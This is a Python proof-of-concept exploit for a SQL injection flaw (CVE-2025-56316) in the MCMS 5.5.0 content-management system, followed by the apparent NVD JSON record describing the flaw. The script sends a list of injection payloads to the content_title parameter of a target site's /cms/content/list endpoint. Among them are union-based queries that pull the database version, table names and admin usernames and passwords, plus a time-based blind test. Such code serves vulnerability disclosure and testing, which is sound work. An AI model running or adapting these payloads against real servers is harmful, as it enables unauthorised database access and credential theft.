CVE-2025-56316

# CVE-2025-56316 PoC - MCMS 5.5.0 SQL Injection # Vulnerability: SQL Injection in content_title parameter of /cms/content/list endpoint # Author: Erosion2020 # Reference: https://gist.github.com/Erosion2020/5892757e0c6eeb647a218d1c3b323cff import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" ENDPOINT = "/cms/content/list" # SQL Injection payloads for content_title parameter payloads = [ # Basic boolean-based injection test "1' AND '1'='1", "1' AND '1'='2", # Union-based injection to extract database version "1' UNION SELECT 1,version(),database(),4,5,6,7,8,9,10-- -", # Extract table names (MySQL example) "1' UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10 FROM information_schema.tables WHERE table_schema=database()-- -", # Extract admin credentials "1' UNION SELECT 1,username,password,4,5,6,7,8,9,10 FROM mcms_user-- -", # Time-based blind injection "1' AND SLEEP(5)-- -", ] def exploit_sql_injection(target_url, payload): """Send SQL injection payload to vulnerable endpoint""" url = f"{target_url}{ENDPOINT}" params = { "content_title": payload } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.get(url, params=params, headers=headers, timeout=30) return response except Exception as e: print(f"[ERROR] Request failed: {e}") return None def main(): print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Endpoint: {ENDPOINT}") print(f"[*] Testing SQL Injection in content_title parameter\n") for i, payload in enumerate(payloads, 1): print(f"[+] Payload {i}: {payload[:80]}...") response = exploit_sql_injection(TARGET_URL, payload) if response and response.status_code == 200: print(f" Status: {response.status_code} | Length: {len(response.text)}") # Check for database information leakage if "mysql" in response.text.lower() or "version" in response.text.lower(): print(f" [!] Possible data leakage detected!") print(f" Response snippet: {response.text[:500]}") print() if __name__ == "__main__": main() # Usage: python poc.py http://target-mcms-server.com # Note: Adjust payloads based on the database backend (MySQL, MSSQL, PostgreSQL, etc.)

{"cve": {"id": "CVE-2025-56316", "sourceIdentifier": "[email protected]", "published": "2025-10-17T19:15:37.740", "lastModified": "2025-10-28T16:44:48.133", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A SQL injection vulnerability in the content_title parameter of the /cms/content/list endpoint in MCMS 5.5.0 allows remote attackers to execute arbitrary SQL queries via unsanitized input in the FreeMarker template rendering."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mingsoft:mcms:5.5.0:*:*:*:*:*:*:*", "matchCriteriaId": "2CCBC2D7-9B92-4686-8B19-2816755832DF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mingsoft:mcms:6.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "AB888F79-83DD-423A-A0D4-7BE3EC62D289"}]}]}], "references": [{"url": "https://gist.github.com/Erosion2020/5892757e0c6eeb647a218d1c3b323cff", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}, {"url": "https://github.com/ming-soft/MCMS", "source": "[email protected]", "tags": ["Product"]}]}}